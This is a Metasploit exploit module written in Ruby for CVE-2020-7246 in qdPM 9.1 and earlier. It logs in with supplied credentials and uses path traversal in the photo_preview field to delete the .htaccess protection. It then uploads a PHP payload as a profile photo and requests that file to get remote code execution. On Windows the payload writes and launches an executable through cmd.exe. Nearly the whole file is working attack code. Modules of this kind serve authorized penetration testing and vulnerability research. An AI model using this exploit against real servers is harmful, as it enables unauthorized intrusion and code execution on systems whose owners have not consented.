##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',
        'Description' => %q{
          A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.
          An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal
          vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.
          NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Rishal Dwivedi (Loginsoft)', # Discovery
          'Leon Trappett (thepcn3rd)', # PoC
          'Giacomo Casoni' # Metasploit
        ],
        'References' => [
          ['CVE', '2020-7246'],
          ['EDB', '50175']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => %w[linux php],
        'Targets' => [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
          [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2020-11-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']),
        OptString.new('EMAIL', [true, 'The email to login with']),
        OptString.new('PASSWORD', [true, 'The password to login with'])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    uri = normalize_uri(uri, '/index.php')
    res = send_request_raw({ 'uri' => uri })
    if res.nil?
      return Exploit::CheckCode::Unknown
    end

    login_page = res.get_html_document
    begin
      version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f
    rescue StandardError
      return Exploit::CheckCode::Unknown
    end
    version = Rex::Version.new(version_num)
    if version <= Rex::Version.new('9.1')
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def get_write_exec_payload_win(fname, _data)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %|
    <?php
    $f = fopen("#{fname}", "wb");
    fwrite($f, base64_decode("#{p}"));
    fclose($f);
    exec("C:\\Windows\\System32\\cmd.exe /c #{fname}");
    ?>
    |
    php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
    return php
  end

  def login(base, username, password)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("#{base}/index.php/login"),
      'keep_cookies' => true
    })
    login_page = res.get_html_document
    csrf_token = login_page.at("input[name='login[_csrf_token]']/@value")
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/login"),
      'vars_post' => {
        'login[email]' => username,
        'login[password]' => password,
        'login[_csrf_token]' => csrf_token
      },
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}/#{base}/index.php/login"
      }
    })
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("#{base}/index.php/myAccount"),
      'keep_cookies' => true,
      'headers' => {
        'Host' => rhost.to_s
      }
    })
    account_page = res.get_html_document
    begin
      userid = account_page.at("input[@name='users[id]']/@value").text.strip
    rescue StandardError
      print_error('The designated admin account does not have a user ID.')
      return {}
    end
    username = account_page.at("input[@name='users[name]']/@value").text.strip
    csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip
    opts = {
      'user_id' => userid,
      'name' => username,
      'csrf_token' => csrftoken_
    }
    return opts
  end

  def upload_php(base, opts)
    fname = opts['filename']
    php_payload = opts['data']
    user_id = opts['user_id']
    email = opts['email']
    csrf_token = opts['csrf_token']

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[photo_preview]', 'data' => '.htaccess' },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    )

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    )

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' },
      { 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname }
    ]

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    })

    return res.code == 302
  end

  def exec_php(base, _opts)
    res = send_request_cgi({
      'uri' => normalize_uri("#{base}/index.php/myAccount"),
      'keep_cookies' => true
    })
    home_page = res.get_html_document
    backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip
    register_file_for_cleanup(backdoor)
    send_request_cgi({
      'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}")
    })
  end

  def exploit
    uri = normalize_uri(target_uri.path)
    user = datastore['EMAIL']
    pass = datastore['PASSWORD']
    print_status("Attempt to login with '#{user}:#{pass}'")
    opts = login(uri, user, pass)
    if opts.empty?
      print_error('Login unsuccessful or bad (admin) user')
      return
    end

    php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
    case target['Platform']
    when 'php'
      p = get_write_exec_payload
    when 'linux'
      p = get_write_exec_payload(unlink_self: true)
    when 'win'
      bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
      bin = generate_payload_exe
      p = get_write_exec_payload_win(bin_name.to_s, bin)
      print_warning("#{bin_name} will require manual cleanup")
    end

    print_status("Uploading PHP payload (#{p.length} bytes)...")
    data = {
      'email' => user.to_s,
      'filename' => php_fname,
      'data' => p
    }
    data = data.merge(opts)
    uploader = upload_php(uri, data)
    if !uploader
      print_error('Unable to upload')
      return
    end

    print_status("Executing '#{php_fname}'")
    exec_php(uri, opts)
  end
end
